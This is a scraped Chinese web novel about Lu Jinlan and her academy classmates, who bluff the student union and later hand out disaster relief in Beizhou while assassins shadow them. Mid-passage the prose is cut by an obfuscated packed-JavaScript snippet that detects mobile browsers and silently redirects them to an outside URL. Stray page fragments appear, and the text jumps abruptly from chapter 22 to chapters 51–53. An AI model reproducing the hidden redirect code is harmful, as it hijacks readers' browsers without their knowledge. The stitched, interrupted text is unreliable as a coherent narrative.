陆锦澜胸有成竹的笑了笑,“诸位放心,我已有了万全之策。大家回去安心休息,明日静候佳音。” 大家总算松了口气,等众人一走,项如蓁和晏无辛迫不及待的勾住陆锦澜的脖子,悄声询问:“什么万全之策,快告诉我们。” 陆锦澜在二人耳边据实相告:“还没想到,现在回去想。” 22. 第 22 章 陆锦澜好歹在体制内干过基层,有些搞思想工作的经验,深谙内部维/稳的重要性。队伍刚拉起来,必须得稳住军心。至于办法嘛,可以慢慢想,不是还有一个晚上吗? 回到宿舍,陆锦澜便问凌照人:“你和院长都姓凌,是不是亲戚?” 凌照人沮丧道:“是亲戚,论起来,我管她叫姨姥姥,但没什么用。院长在我们凌氏家族是出了名的大公无私不近人情,她不会因为跟我有亲戚,就帮我做什么的。” “是吗?”晏无辛语带嘲讽道:“那比武那天的兵器是谁做的手脚?” 凌照人冤枉道:“不是我干的,只是有人告诉我,会把我和项如蓁抽到一组。我以为我能稳赢,怎么会忌惮到去提前使手段?” “那个……兵器是……”角落里的楚易舒颤抖着举起了手,“我……我家里找人做的。” 晏无辛拧着眉咬住舌尖,“我真想踹你两脚。” 倒是项如蓁淡然一笑,“算了,让我们都学学锦澜的胸怀,相逢一笑泯恩仇。” 陆锦澜劝道:“那倒不用,该报的仇还是得报。” 楚易舒吓得站了起来,“如蓁,我给你赔罪,你大人不记小人过。可你……你保证了的,你说跟你走咱们亲如姐妹互相帮助,你不能打我啊,你是顶天立地的大女人,你得守信用啊。” 项如蓁朝她挥了挥手,“我这人说话算话,睡你的觉吧。此事揭过,不必再提了。” 楚易舒终于放下心,可晏无辛摸了摸下巴,还是好奇,“那故意把如蓁和凌照人分到一组的,会是谁呢?” 凌照人:“这我真不知道,我也只是接到纸条传话而已。” 晏钰回来便躺在床上闭着眼一动不动,这会儿忽然出声道:“谁都有可能,如蓁前一日锋芒太露,家世又简单,还是个毫无根基的外地人。皇家学院卧虎藏龙,各方势力盘根错节。谁都有可能不想你入选,这个谜底会成为悬案,或许永远都没机会揭晓真相。” 她从上铺侧过身看向项如蓁,“你从勉州走到神京,一定吃了很多苦。” 记忆的碎片在项如蓁脑海中浮现,但眉宇间的沧桑一闪而过,取而代之的是胜利者的微笑。 “是,遇到过很多麻烦。”她笑道:“但我想做的事,从来没有人能够阻止我。我会改变这个世界,希望有一天,如我一样的人,再也不会遭遇我所遇到的不公。即使出身寒微,依然可以平等的争取一切机会。” 晏钰怔了怔,“那是不可能的。” “有什么不可能?我知道很难,但我会一直努力,至死方休。你知道……” 项如蓁还想继续说什么,晏无辛忽然在门口喊:“如蓁,锦澜找你,出来一下!” 项如蓁跟着晏无辛跑出来,找到宿舍外抠地的陆锦澜,“什么事啊?” 陆锦澜看着她长叹一口气,“我说如蓁呐。” 两人按着项如蓁坐下,开始苦口婆心的劝导。 晏无辛:“你怎么能和晏钰说那种话呢?你知道她是什么身份吗?” 项如蓁:“她什么身份,我都不怕。” 陆锦澜连连拱手,“我说项大人,我们知道你牛你头铁你勇者无惧,但我求求你,不要把别人都想得和你一样正直好不好?这世上大多数人,都是带着立场思考问题的,你大公无私,但别人会计较得失。像凌照人晏钰那些人,是当前秩序的获益着。你说你要建立一个人人平等的新秩序,人家会高兴吗?” 项如蓁沉默片刻,忽然眼睛一亮,“你总结得真好,对,我就是想建立一个人人平等的新秩序,你把我心里想得准确的描述出来了。” 她兴奋得拍了拍陆锦澜的肩膀,陆锦澜肩膀钝痛,笑不出来,“说了半天,你就听见这句?” 项如蓁笑了笑,“不是,你们的意思我都明白了。你们放心,以后这些话,我不会跟外人说了。从今天开始,我会把人性作为参考因素来思考问题。对了,那个万全之策你想到没有?” 陆锦澜长舒一口气,枕在她腿上仰望星空,“没有万全之策,但是想了三计,希望明天能够成功。” * 计之一,找院长告状,希望能够获得院长的支持。 一大早,一零六集体出动,在凌知序的必经之路徘徊。楚易舒甚至爬到树上,侦察观测,“来了来了!” 陆锦澜连忙冲上去,飞快的请安问好,然后便直接问道:“学生会欺压新生的事,您知道吗?” 凌知序点了点头,“知道。” 陆锦澜一愣,“您知道,为何不管?” “我知道学生会给你们造成了一些压力,但有时候压力不一定是坏事。至少现在,你们已经和本地生打成一片了,不是吗?” 陆锦澜忙道:“这不是一回事,外地生和本地生本就没有血海深仇,朝夕相处自然会形成凝聚力。但学生会以摧毁尊严近乎侮辱的方式对待大家,快速形成凝聚力又怎样?不觉得这太残忍了吗?” 凌知序微微一笑,“或许吧,但人世本来就是残忍的。早早磨炼你们的抗压能力,我认为不是坏事。何况你的学长们有分寸,不会做得太过火。这件事,学院不会管,你们学生内部的问题,自己要学会解决。” 陆锦澜想了一下,“请您稍等一下,我跟同学们传达一下您的意思。” 此时校内人来人往,已经有不少人注意到陆锦澜在和院长说话了。一零六其余七人站在不远处,焦急的等待着,直到陆锦澜笑着招手,大家连忙跑过来。 晏无辛一脸期待:“院长愿为我们主持公道?” 陆锦澜果断回答:“不愿,这个稍后再说。我们现在施行计之二,大家一定要高兴一点,凌照人你去抱抱你姨姥。” 凌照人:“这么突然?她从我三岁之后就没抱过我了。” 陆锦澜:“那你就说这句词,去!” 凌照人把心一横,冲过去一把抱住凌知序,埋头假哭:“呜呜姨姥,你从我三岁之后就没抱过我了。” 凌知序愣了一下,拍了拍她的背,“哎呦,你这都这么高了,姨姥抱不动了。” 凌知序说着才发现七八个新生将她围住,晏无辛可怜巴巴道:“院长,您好慈祥,让我想起我的姥姥,您能不能摸摸我的头?” 凌知序鲜少被夸奖慈爱,一时动容,苍老的目光流露出对少年人的怜爱,她竟笑了笑,“好,摸摸头。” 她顺手把大家的脑袋都摸了一遍,“好了,去赶早课吧。” 凌知序转身离去,陆锦澜:“我数三二一,大家一起大声地说谢谢院长。” 凌知序没走几步,身后忽然传来响亮而整齐的四个字:“谢谢院长!” 这就是计之二,假装获取了院长的支持。 陆锦澜搂住大家的脖子,低声叮嘱:“院长虽然不支持我们,但我们要做出她支持我们的样子。学生会不敢去质问院长,只要我们演得像,她们就不敢妄动。计之三,趾高气昂,虚张声势。那么多人都在悄悄观察我们,等我们转过身,就要摆出最嚣张的样子。想象自己做成了这辈子最想做的事,要多狂有多狂,记住了吗?” 大家彼此对望一眼,坚定的点了点头。 韩离等人闻讯赶来,碰巧撞见这一幕,不由瞪大了眼睛。 只见八人浑身上下都冒着嚣张的气焰,仿佛天地都容不下她们了。她们在学院的林荫大道上趾高气昂横冲直撞,宽敞的道路此时显得格外拥挤,院长带领全校师生祭祀时也未曾狂成这样。 她们每个人脸上都带着傲视一切的目光,狂妄得不可一世。八人站成一排气势汹汹迎面而来,路过韩离时,楚易舒故意狠狠地撞了一下,飞扬跋扈得瞪了她一眼,“滚开!” 韩离目瞪口呆的看着她们远去,许久之后才回过神来,怒骂了一连串的脏话。 陆锦澜的装模作样三计起了作用,整整七天,学生会的人没有来找她们这批人麻烦。但大家心里清楚,双方还在对峙阶段,彼此暗中观察小心留意,恨不得轮流站岗放哨,以防暗算。 为了安全起见,她没有再约凛丞见面,两人只能在打饭间隙争分夺秒的留下只言片语,交换几个关怀的眼神。 皇家学院今年的课程比往年多开了三门,共有《武艺》、《骑射》、《兵法》、《律法》、《诗赋》、《算术》、《音乐》、《水利》、《民生》、《历史》十门课程,每天课业从早排到晚,搞得新生叫苦连连。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220251|181489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>陆锦澜、项如蓁和晏无辛还得兼顾清洁,每天打扫教室。身心劳累也就算了,一天三顿还只有难吃的饭菜。在如此高压艰苦的环境下,学院里的火药味儿越来越浓。 宿舍里都变得死气沉沉,晏无辛:“学生会怎么没动静了?我现在真想和她们干一架。” 陆锦澜:“说不定她们也是这么想的,大家都很烦,都想要发泄。” 项如蓁:“别烦,我们只是散漫惯了,还没适应。” 晏无辛痛苦的哀嚎一声:“啊!这苦日子什么时候是个头啊?” 此时晏钰兴冲冲从外面回来,“好消息,院长要带着师傅们参加全国讲学论坛,咱们提前休沐,明后两天都不上课,公告都贴出来了!” 不待几人反应,外面已经传来了震耳的欢呼。那一晚的宿舍区,真是载歌载舞锣鼓喧天,大家都被关疯了憋坏了,几乎兴奋得睡不着觉。 陆锦澜和晏无辛挤在项如蓁的床上,迫不及待的规划着假期安排。 晏无辛:“我得先回趟老宅,给我娘请个安。再去私宅,关照下我的应子们,他们一定想我想疯了。咱们中午在我那个乐玩山庄后面的湖边野炊怎么样?我准备好酒好菜烤全羊,咱晚上就在山庄住。” 项如蓁:“也好,到时候我去打些野味,给大家加餐。” 陆锦澜:“我要大睡一觉,醒了去一趟久安堂,中午与你们汇合。” 晏无辛嘴角噙着玩味的笑意,“嘿嘿,我再给你们准备一份特别的惊喜,包你们满意。” 陆锦澜一觉醒来,她们两个都出去了。她收拾着东西准备出门,忽然想到,既然野炊,为什么不请凛丞一起?他一个人在这儿,难免无聊。两人在校外见面无需顾忌,青山绿水蓝天白云,正是谈情说爱的好时机。 陆锦澜托人送信过去约凛丞来湖边相见,到了中午时分,便忍不住东张西望。看她一脸望眼欲穿的样子,项如蓁笑着摇了摇头,“想不到被关了七八天,你和无辛最惦记的竟然是男人。” 陆锦澜辩解道:“我俩可不是一个性质,她惦记她那一群男人,我只惦记一个,不可同日而语。” 项如蓁笑而不语,看向她身后,“你的那一个来了。” 凛丞已然换去了粗布麻衣,恢复了他翩翩公子的打扮,又是一袭白衣,纤尘不染的衣着硬净的脸,令人望之陶然。 陆锦澜迈着轻飘飘的步子迎上去,“你来啦。” “嗯,难得你请我。” 这话里似乎有些责怪的意思,陆锦澜笑着解释:“这些天没敢约你见面,不是不想见你,是惹了些麻烦,怕牵连你。” “我听说了,但我不怕被牵连。人活在世上,为了想做的事想见的人,冒一点风险,是值得的。” 陆锦澜笑着点头,“你说得对,我知道你不怕,但我还是舍不得让你冒险。” “咳!”偷听的项如蓁一口烤鱼呛在嗓子里,慌忙致歉:“不好意思,我咬到刺了。别管我,你们聊。” 陆锦澜拉着凛丞走远几步,“不用管她,她是这天底下最不解风情的女人。” 凛丞强忍着笑意,调侃道:“是,别人都不解风情,偏偏你懂。不过老实说,在我所识的女人中,你算得上是天底下第二好的女人了。” 陆锦澜眉心微蹙,忙问:“第一好的是谁?” “我母亲啊。我们家母父感情很好,所以哪怕我父亲只生了我这么一个儿子,我娘也没有再娶,她很专一。” 陆锦澜不服,“那你把我排第二,还是有些不公平。我一个都没娶呢,你怎么知道我会不专一?” 凛丞黯然垂下眼眸,叹道:“天下人都知道。” 陆锦澜理直气壮道:“传言不可信,耳听为虚,眼见为实。这么多天,你见我和哪个公子纠缠不清了吗?” 话音未落,几辆马车到了近前。晏无辛矫捷地从车上跳下来,兴奋得高声呼喝:“快来人!我从家里偷了几坛好酒。锦澜,你看我把谁带来了!” 陆锦澜心头顿时涌起一丝不祥的预感,楼雨眠掀开帘子,从后面的马车上下来,望着她笑得满面春风。 陆锦澜:怎么回事? 客服老太:「怎么回事?」 50-60 第51章 老管家道:“难产大出血,一尸两命。” 陆锦澜深吸一口气,无限怅惘。 和于继芳对谈之后,情绪最低落的是项如蓁。 亲眼看着自己视为标杆一样的人物堕落,犹如看着摩天大楼轰然倒塌。 仿佛一个朝圣的信徒,一路上设想着多少人曲解了佛理佛法误会了佛祖。而当她真的跋山涉水到了大雷音寺,却见到佛祖举着酒杯对她说:不要管什么佛理啦,今朝有酒今朝醉吧。 项如蓁很是惋惜,倒是陆锦澜拍着她的肩膀宽慰道:“算了,不要苛求于大人了。官场混沌,不是人人都能像你一样坚守本心。她也有她的难处,我们不要怪她。” 项如蓁苦笑,“那怪谁呢?” 陆锦澜瞭望四周,站在北州最高的城墙上,眺望着嬅国与曲国的交界。深秋萧瑟,入目皆是荒凉。 她负手而立,沉声道:“怪这个地方吧。边塞的风太冷,把热血都吹凉了。” 项如蓁站在风里,沉默半晌,提议:“那今晚我们彻夜长谈吧,就守着银库直到天亮,明早开箱赈灾。” * 许多人的心都悬了一夜,然而一夜无事。 太阳升起,北州牧府外的灾民已经排起了长队,那些人大多已经形容枯槁,身体干瘦得像一具骷髅,唯有一双眼睛带着渴求的目光,亮得吓人。 赵祉钰看着三人眼里的红丝,忙道:“你们辛苦了,回去睡吧,这里我来看着。” 项如蓁道:“这些灾民身体孱弱,说不定有些人会惦记她们手里的银子,恐怕殿下还要多做些功夫。” 赵祉钰点了点,把图灵叫过来,“让大内侍卫穿着黄马褂在城内各处巡逻,另外拿我的令牌去北州大营,让程袁卿把她的兵拉出来在各处要道站岗,严防有人趁机偷盗。” 项如蓁道:“殿下心思缜密,如此一来,便无差池了。” 陆锦澜也道:“如此我们就先回去休息了,我去门口买点吃的,咱们吃完好好睡一觉。” 这话也就刚说完没一会,赵祉钰还在和晏项二人闲聊,忽然听见陆锦澜和门口办事的师娘吵了起来。 三人急忙过去,此时门口已经围了一堆吃瓜群众。 陆锦澜捏着几张纸,正帮一位老妇和师娘掰扯。 “她这个怎么就不能领了?人家家被烧了,这儿有村长出具的证明,还有七位同村的村民作为证人,证人可是有户籍的,足以证明她就是她。你非得要户籍凭证干嘛?都烧光了她上哪找户籍凭证去?” 师娘道:“陆大人,您不能怪我。这是我们州牧大人规定的,领赈灾银必须要有户籍凭证,严防多领冒领。” 陆锦澜气道:“规定是死的人是活的,她规定的没错,但是特殊情况你得特殊对待啊。人家就怕有纰漏,提前准备了这么多东西,你怎么就这么死心眼呢?” 师娘道:“陆大人,不是我死心眼。我就是一个小小师娘,州牧大人怪罪下来,我担不起这个责任。” 陆锦澜一咬牙:“我来这个责任,出了事找我,行了吧?” 师娘看了看她,果断点头,“行。” 老妇人千恩万谢的领了银子,队伍中又有人道:“陆大人,您帮我说说,我家这个也是特殊情况,我这户籍凭证掉了两个角……” “陆大人,您看我这家这个字看不清了,您也帮忙给说说……” “陆大人……” 陆锦澜深吸一口气,得,甭休息了。 “别着急,一个一个来!” 陆锦澜干脆给自己搬了张桌子,贴了张“特殊情况在此办理”的纸张,回归老本行,又开始干起了基层工作。 晏无辛凑过来,“我能帮你什么忙?” 陆锦澜道:“你写几个告示吧,告诉一下后面的人需要提前准备什么东西,缺东少西的赶紧回去拿,免得再跑一趟。” 项如蓁道:“那我呢?陆大人也给我安排个活吧。” 陆锦澜笑了笑,看了下一眼望不到头的灾民队伍,和正在办事的两个师娘。 “你要是不介意,你也帮着办吧。数万灾民,就指着这两个窗口,得办到猴年马月。” 项如蓁立刻拿过一摞登记册,拽过一张桌子,高声道:“外县的到我这里排队。” 其中一位师娘笑道:“那就辛苦两位特派使了,没办法,我们北州牧府一共就四个师娘,那些差役不识字,干不了这个。” 晏无辛听着一愣,“那另外两个呢?” 那人道:“我们上午,她们下午。” 陆锦澜听着真是气不打一处来,“我们都不知道多久没睡过整觉了,这都火烧眉毛了,你们还上半天班呢?看看这些灾民,跟死就差一口气了。你们北州的公务人员真够绝的,天塌了也不能加回班吗?” 她简直不知道说什么好,在现代遇到灾情疫情的重要关头,她和同事们忙得都快连轴转了。从来不会有人说:爱死多少人死多人,反正我要下班了。 这不是没苦硬吃,是不能在关键时刻掉链子。卖饼的卖衣服的,想不干了立刻关门,谁也不影响。就算是卖药的卖棺材的,这家关门了还有别家。 但国家机器不是个体户,关系到一国一城的数万民众。虽然基层渺小的就像一颗螺丝钉,但如果机器高速运转的时候往下卸钉子,是要耽误大事的。 眼下整个北州城都盯着这二十万两银子,早发下去早救人,早发下去早安心。就两个窗口不知道要干多少天,真怕发一半银子又丢了。 赵祉钰听了一会儿,吩咐道:“给我也搬张桌子来。” 图灵一怔,“殿下,您怎么能……” 赵祉钰哼了一声,“去和于大人说,她既然人手不足,便由我这个大皇女来顶上。” 赵祉钰说着从项如蓁的桌上抽出一本册子,对众人道:“久安县的人,到我这儿来排队。” “多谢大皇女!”这下灾民可高兴了,也不愁了也不怨了,短暂的高兴起来。 平希玉从人群中挤进来,看着陆锦澜不由心疼道:“少主,要不我帮您做吧,您歇会儿。” 陆锦澜示意她看一眼旁边,都忙得没空抬头,连大皇女都在那儿登记呢,她怎么好意思自己走? 说话间她接待的灾民领到了赈灾银,恰逢一阵馒头 的香味飘来,小丫头高兴道:“我买个馒头去!” 陆锦澜忙叫住她,“别!饿久了先吃点流食。” 好不容易活到现在,万一撑死噎死就白忙活了。 平希玉想了想,“那我去旁边设个粥棚,免费施粥。” 陆锦澜连声赞道:“好好好!那你去吧。” 不一会儿,于继芳带着一十三县的大小官员一路小跑赶过来,见到赵祉钰就开始跪下请罪。 赵祉钰呵呵一笑,“都来啦?来得正好,这儿忙不过来,给各位大人搬个桌子。大家齐心协力,尽快把赈灾银发下去。” 官大一级都能压死人,何况是皇上的亲女儿。办事窗口翻倍增加,队伍一下子就动起来了。 暗处有一双眼睛静静地看着这一切,若有所思。 临近中午,陆锦澜饿得有些胃痛,直揉肚子。不过她有经验,正想扛一会儿,饿过劲儿算了。 旁边包子铺的小二姐儿拎着两屉小笼包凑过来,“陆大人,有人让我给您送过来的。” 陆锦澜眼睛一亮,刚要拿一个丢进嘴里,忽听赵祉钰道:“都不知道是谁送的东西,你也敢吃?别忘了,前几天,还有人要刺杀你。” 陆锦澜迟疑了一下,项如蓁道:“想必是平掌柜吧,除了她,也没别人了。” 项如蓁若不提起平掌柜,陆锦澜还没觉得有什么。一说起平掌柜,陆锦澜瞬间想到,绝不会是她。因为平掌柜这个人做事极其周到,若是她送,怎么会就送一份吃的? 她刚才下意识的以为是哪个灾民,毕竟她在现代下乡的时候,也常碰到热情的老乡,塞给她几个自家院子里摘的瓜果什么的,是常有的事。但转念一想,灾民也不会给她买肉包子啊,买个馒头还差不多。 她忙问小二,“是谁送的?” 小二道:“一个高高瘦瘦的男人,戴着斗笠,没瞧见脸。” 晏无辛一笑,“是个男人就不稀奇了,你陆大才女的爱慕者车载斗量,连北州的小公子都沦陷了。” 陆锦澜不这么认为,她到了北州城可没接触过任何男人……不,勉强算接触过一个,会是他吗? 她无法确认是谁,但不管是谁,那人此刻应该就在暗处看着。 于是,陆锦澜猛地站起来,环顾四周,角落里黑影一闪,她皱了皱眉,什么都没看清。 项如蓁忙问:“你找什么呢?” 陆锦澜摇了摇头,“没什么。”她又跟小二姐确认了一下,这包子那人没碰过,于是她放心吃了下去。 面皮暄软,馅料入味,鲜美的肉汁在口中爆开,很符合陆锦澜的口味。 赵祉钰看得直咧嘴,“你不怕有毒啊?” 陆锦澜鼓着腮帮子含糊的回答:“你看我一会儿死不死吧。” 过了一会儿,她把包子递给大家,“我没死,你们也尝尝,挺好吃的。” * 入夜,阿七换上夜行衣,再次夜探北州牧府。 “七哥!”有人压着嗓子唤了一声,快步跟了上来。 “十三,你跟着我干什么?” “你是不是要去刺杀陆锦澜?” 阿七犹豫了一下,“是,此事极为凶险。师傅不准我去,你不要和任何人说。” 十三道:“那我和你去,我们二人合力,一定能取了她的命,走!” 额…… 阿七皱了皱眉,无奈的跟上。 月上中天,两人伏在房顶,看着陆锦澜拖着疲惫的身体回了房间,把自己狠狠的摔在床上。 随即风里穿来一声嘟囔:“累死老娘了。” 十三眼底闪过一丝喜色,拔出了短刀,“七哥,我们撞上了千载难逢的好机会,明年今日就是她的忌日!” 第52章 “等一下!” 阿七按住十三的手,“先不要动手。” 十三一脸疑惑,“为什么?” “因为……因为陆锦澜这个人诡计多端,她很有可能是装的,小心中了她的圈套。” 十三想了想,“还是七哥谨慎,你说得对,咱们两个不是她的对手,没有十足的把握,咱们不能轻易犯险。” 阿七点了点头,他想着等到陆锦澜起身洗漱,他便以怕被发现为借口,带着十三撤退。可没想到等了一会,陆锦澜一动不动,看起来好像睡着了。 十三杀心又起,“七哥,她睡熟了,咱动手吧。” 阿七内心纠结,在今天以前,他确实希望陆锦澜死。 可是今天,他亲眼看着她为了一个跟她毫不相干的灾民据理力争,看着她顶着烈日不辞辛劳的府衙门口办公,看着她连口水都没空喝,连早饭都无暇去吃,就那样一直为公事忙碌着。 之前师傅说陆锦澜是大恶之徒,她要坏主人的大事。他第一次见到她的时候,毫不怀疑。 因为她那么风光,年纪轻轻官至四品,少年裘马衣履风流,那份孤高自许舍我其谁的态度,看着就让人忌恨。 阿七一直把她当成一个反派看待,看到她武功高超,都在恶意揣测:她一定是学了什么邪门歪道! 他讨厌她总是一副居高临下的胜利者姿态,更讨厌她对着他流露出的轻薄态度。 他想象着陆锦澜平日里有多么盛气凌人,横行无道,说不定还欺女霸男,恶事做尽。除了些许才名,无一可取。 可是今天,他发现陆锦澜和他想象的完全不一样。 她会俯身倾听老人家的哭诉,温声细语热心苦口。阿七不知道什么叫横眉冷对千夫指,俯首甘为孺子牛。 只是他看着陆锦澜忙得口干舌燥,看她哪怕皱着眉捂着肚子,也还在那儿坚持。 他不由得问自己:她真的是坏人吗?这样的人,会是大恶之徒吗? 陆锦澜上次和他说,让他学会明辨是非,好好想想。他今晚本来只是想来看看她,多了解她一些,不想错杀好人。 可十三跟着,倒弄得他骑虎难下。 “七哥,动手吧!” 十三又在催促他,阿七想了想,“不,这么安静,屋内一定有埋伏。” 十三急了,“哪有埋伏?算了,你不用去了,我自己去。” “别!” 两人在树上拉扯着,一阵脚步声传来,二人忙住了手。 北州牧于继芳和项如蓁路过这边,二人的谈话声清晰的传了过来。 于继芳累了一天,揉着酸痛的腰颈,笑道:“看来我真是老了,做些文书都开始腰酸背痛了。” 项如蓁道:“我那里有京城久安堂的秘制膏药,一会给您送几贴过来。” 她刚要走,于继芳忽然叫住她,“等一下!小项大人,你是不是对我很失望?” 项如蓁脚步一滞,“有点,但锦澜说不能怪你。” 于继芳一笑,“那怪什么?” “她说都怪边塞的风太冷,把热血都吹凉了。” 于继芳怔了一下,沉默半晌,咽下半腔酸楚,方道:“恕我眼拙,没看出来出身富贵之家的小陆大人,能体恤咱们寒门学子的难处。唉,其实做封疆大吏,做到像我这么窝囊的,也是少见了。” 项如蓁忙道:“您别这么说。” 于继芳笑了笑,“不过今天倒是过得不一样,身体虽然痛,心里却特别痛快。和几位小师妹在一起做事,让我感觉仿佛回到了学院。想起了过去的自己,血又热了几分。明日你们不必再来府衙门口了,我去协调其他衙门,把大家都调动起来。” “好,那我先回房了。” 眼看着二人要走,阿七故意踩断一根树杈。 项如蓁猛地看过去,“谁?” 二人连忙跃上房檐, 一刻不敢停的逃回了藏身地。 结果,又被师傅发现。 啪!啪!一人一个响亮的耳光。 “为师说什么了?不要打草惊蛇。主子指示有变,先不要刺杀陆锦澜了。” 阿七一愣,又听师傅道:“大皇女要给主子栽赃,大皇女身边的陆锦澜风流成性。我会想办法把你们安排到她身边潜伏,到时候就可以监视她们的一举一动。你们不要再私下接触她,以免露了马脚,被她识破。” 十三忙道:“是,师傅。” “可是……”阿七迟疑道:“这其中会不会有误会?就算大皇女想要谋害主子,可陆锦澜未必,她不像是非不分的人……” 啪!话未说完,阿七又挨了重重的一巴掌。 冷峻的面孔又多了一个鲜红的巴掌印,他咬紧了牙关,一声不吭。 师傅怒道:“无知男儿!你懂什么?你连大字都不识几个,你懂得什么是伪装什么是真相吗?蠢笨之人,要牢记为师的教导,学会听话。否则,被人骗了都不知道。” 阿七垂下头,没有再辩解。 “罚你们跪到天亮,好好思过。” 师傅走了,二人跪在冰凉的青石地板上,陪伴他们的是刺骨的夜风。 十三忍不住低声问:“七哥,你今天为什么拦着我?” 阿七四处看了看,低声道:“我老实告诉你,我怕你错杀好人。这里只有咱们两个,你也老实告诉我,你觉得陆锦澜是坏人吗?” 十三摇了摇头,“我不知道,但主子让咱们杀她,就算她不是坏人,也是和主子做对的人,那就该死。” 阿七皱了皱眉,“那如果有一天,和主子作对的是皇上,我们也要去杀皇上吗?” “嘘!主子是忠臣,怎么可能和皇上作对?七哥,你也想太多了。就像师傅说的,咱们从小没读过书,什么都不懂。分辨是非是读书人做的事,我们只是见不得光的杀手,只管好好做主子手里的刀,让咱们杀谁咱们就得杀谁,别问那么多。不然,师傅又要打你了。” 阿七垂下眼眸,沉默不语。 * 于继芳这两日好像发瘟的家禽突然病愈了,不偷懒了,遇到事儿也不三推四推的往外推了。 有于继芳率领北州一众官员有条不紊的发放赈灾银,陆锦澜她们可以放下心,将目标转移到前两次赈灾银丢失的事情上。 赵祉钰和三人聚在一块,正发愁怎么潜入凌家军查找线索呢,北州参将程袁卿送来帖子,请大皇女和项如蓁、晏无辛一块到北州大营去赴宴,顺便观看队伍操练。 陆锦澜把帖子仔细看了两遍,怪道:“我和这位程参将素不相识,面都没见过,应该不至于有什么过节。她怎么把你们都请了,单单落下我,我哪得罪她了?” 晏无辛笑道:“那说不好,也许她就瞧你不顺眼。” 赵祉钰道:“宋家军和凌家军互相制衡,关系很是微妙。你是宋将军的儿主,日后宋家军必定统领在你的麾下。程袁卿是凌家的心腹,她不愿和你过多接触,许是怕凌氏姐妹误会,也是情理之中的事。” 陆锦澜一想也有道理,可这时外面又送来一张帖子,是北州守备凌夏宴请陆锦澜的。 凌夏是凌氏姐妹的亲侄女,她不用和宋家军避嫌吗? 四人看着这两份帖子都有些糊涂,这是怎么回事? 陆锦澜道:“算了,别想了。咱们各自赴宴,去了就知道她们葫芦里卖的是什么药了。” 陆锦澜到了北州守备处,凌夏已经恭候多时了。 “哎呀老妹,总算见到你了。你的大名,我在北州都听到了,真是如雷贯耳。姐姐我早就盼着和你见一面,今天总算如愿了。快快快,快请入席。” 凌夏看着二十六七岁,一身在官场浸润多年的气质。她拉着陆锦澜热情极了,陆锦澜估摸着她是黄鼠狼给鸡拜年,没安好心。但她也没戳破,热情的寒暄了几句。又提起凌夏的表妹凌照人,认真拉了拉关系。 二人一口一个姐姐,一口一个妹妹,不知道的还以为这俩人真有什么亲戚。 两人喝了几杯,凌夏便道:“其实我盼着你来,不光是因为你的才华。实不相瞒,我从小就讨厌读书。什么诗文,我狗屁不懂。但有一样东西,咱们一定聊得来。” 陆锦澜抬了抬眼,“请姐姐细说。” “男人啊!” “哈哈。”陆锦澜干笑了两声。 凌夏道:“你是风流才女,凌某我也爱风流。若说在京城,你想找什么样的男人都有,姐姐我帮不上忙。若说在北州,我敢说全北州最俊美的男人,都得先过我的眼。” 陆锦澜搓了搓手,嗅到了一丝阴谋的味道。 她勾着嘴角,故意装作很感兴趣的样子,“你这儿有男人?可否能让我一观?” 此话正中下怀,凌夏拍了拍手,“把公子们都叫过来,让陆大人赏鉴赏鉴。” 很快,十几位小公子站成一排走了进来。 陆锦澜端详片刻,在其中找到了一双熟悉的垂凤眼。那人大概以为自己伪装得很好,拿了把破扇子,装成个清雅公子的样子。 她笑着饮了一杯酒,佯装挑剔道:“恕我直言,实在是平淡无奇。” 凌夏尴尬道:“那你不能拿北州和京城比,不过有几个还是不错的。你挑一个,你还要在北州待些日子,身边没有男人解闷怎么行。” 陆锦澜看了她一眼,“那你帮我挑一个吧,不过我可事先说明,别人用过的我可不要。” 凌夏一看有门,忙道:“懂!这你放心,这些我都是专门为你准备的,都是干净的。妹妹放心,我给你挑个最好看的。那个谁,阿七,过来伺候。” 原来,他叫阿七。 阿七坐在陆锦澜身边,给她斟酒夹菜。 席间凌夏一个劲儿的劝酒,直到陆锦澜喝得晕晕乎乎趴倒在桌上。 凌夏连忙使眼色,“阿七,陆大人醉了,你送她回衙门,之后就留在陆大人身边,好好伺候陆大人。” 阿七点了点头,小心的扶起陆锦澜,却忽听陆锦澜道:“不行!” 凌夏一愣,紧张道:“为什么?” 陆锦澜闭着眼,嘟囔道:“我家里有个公老虎,他爱吃醋。再说我岳母就在隔壁灵州,传出去她又要来跟我啰嗦。” 凌夏松了口气,“原来你担心这个,放心,我这儿的人嘴都很严,不会传出去的,妹妹你放心享用就是。” 陆锦澜醉醺醺一笑,“那我就放心了。阿七,走,咱回去洞房。”—— 作者有话说:时间也没卡上,字数也没写够,刚刚捉完虫,啊啊啊啊啊,我给大家跪会儿吧。 第53章 阿七扶着陆锦澜上了马车,凌夏看着马车渐渐走远,瞬间敛起了脸上笑意。 “切,什么皇家学院高材生,见到男人就昏头转向。我还以为她多谨慎呢,草包一个,哼。” 阿七将陆锦澜扶回她的房间,看着她醉倒在床上,不禁拧紧了眉。 阿七一边给她脱鞋,一边在心里腹诽。 陆锦澜啊陆锦澜,你怎么就这么好色?你来北州干什么来了?你有公务在身,人家送你个不知根底的男人,你也敢要?色字头上一把刀,你不要命了?轻浮!浅薄!就算你不是坏人,你也是个蠢货! 阿七咬着牙把鞋往地上一丢,坐在床边生闷气。 身上忽然一沉,一双手臂勾住了他的脖子,酒气混合着香气,热乎乎的萦绕在他耳边。 阿七感觉到耳朵有些发烫,身体不自觉的紧绷着。 陆锦澜双眼迷离的倚在他肩膀上,咕哝着问:“你叫阿七?” “是。” “姓什么?” “没有姓。” “怎么会没有姓?” “没有家,不知母父,所以就没有姓。” 陆锦澜微微睁开眼,摸了摸他发红的耳朵,“那你小时候是不是过得很苦?” 阿七脑海里闪过一群 孩子,赤膊练功的画面。他们有的六七岁,有的四五岁,师傅拿着一根手腕粗的木棍,看谁做得不好,便打一下。每个孩子身上都是青一块紫一块,似乎整个童年,就没有身上没有伤的时候。 阿七眼底的水雾聚了又散,只道:“还好,只是偶尔看到有娘爹疼爱的小孩儿,会很羡慕。” 